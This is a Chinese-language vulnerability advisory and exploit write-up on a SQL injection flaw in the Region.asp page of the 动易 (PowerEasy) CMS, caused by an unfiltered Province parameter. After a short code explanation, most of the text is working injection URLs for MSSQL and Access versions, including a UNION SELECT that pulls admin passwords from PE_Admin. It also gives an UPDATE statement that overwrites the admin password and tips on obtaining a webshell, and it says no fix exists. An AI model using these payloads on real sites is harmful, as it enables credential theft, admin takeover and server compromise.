详细说明: 今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误! 在Region.asp中
Country = ReplaceBadChar(Trim(Request(\\\"Country\\\"))) Province = ReplaceBadChar(Trim(Request(\\\"Province\\\"))) City = ReplaceBadChar(Trim(Request(\\\"City\\\")))
对所有传入的变量都进行了过滤,但是编程者在这里:
Set TempRs = Conn.Execute(\\\"SELECT Province FROM PE_Province WHERE Country=\\\'\\\" & Country & \\\"\\\' ORDER BY ProvinceID\\\") If Err Or TempRs.EOF Then ReDim ShowProvince(0, 0) Province = Trim(Request.QueryString(\\\"Province\\\")) Else ShowProvince = TempRs.GetRows(-1) End If Set TempRs = Conn.Execute(\\\"SELECT DISTINCT City FROM PE_City WHERE Province=\\\'\\\" & Province & \\\"\\\'\\\")
大家可以看到,Province = Trim(Request.QueryString(\\\"Province\\\")) 这里直接取的是 传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询, 由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。 |
参考: http://whytt.mblogger.cn/ |
解决方案: 暂无 |
测试方法:
[警 告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute(\\\"SELECT Province FROM PE_Province WHERE Country=\\\'\\\" & Country & \\\"\\\' ORDER BY ProvinceID\\\")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:
http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi\\\'+and+user>0--
就是在
http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi\\\'后面加上我们的SQL注入语句。
这就是整个利用原理,很简单,但也很致命的漏洞。
上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢, 呵呵,聪明的你可能觉得我在说废话老,看吧。
http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi\\\' and 1=1 and \\\'1\\\'=\\\'1
这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。
http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi\\\'+and+1=2+union+select +password+from+PE_Admin+where+1<2+and+\\\'1\\\'=\\\'1
其中username是要暴的字段,哈哈,通杀的感觉爽吧
By WhyTt
补充:
update PE_Admin set Password=\\\'13955235245b2497\\\' where id=2--
如果不可以列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个
如果可以列目录就直接找web目录,然后用nb的getwebshell就可以拿到webshell了 |
前段时间就知道动易不止一个洞,这又被人放出来,
通杀ACC,MSSQL
http://site.com/region.asp?country=tt&city=whytt&province=shi'
后面就是SQL语句啦
返回信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 'shi'' 之前有未闭合的引号。
/region.asp,行 32
针对mssql的
NBSI 直接列目录 >备份> ok!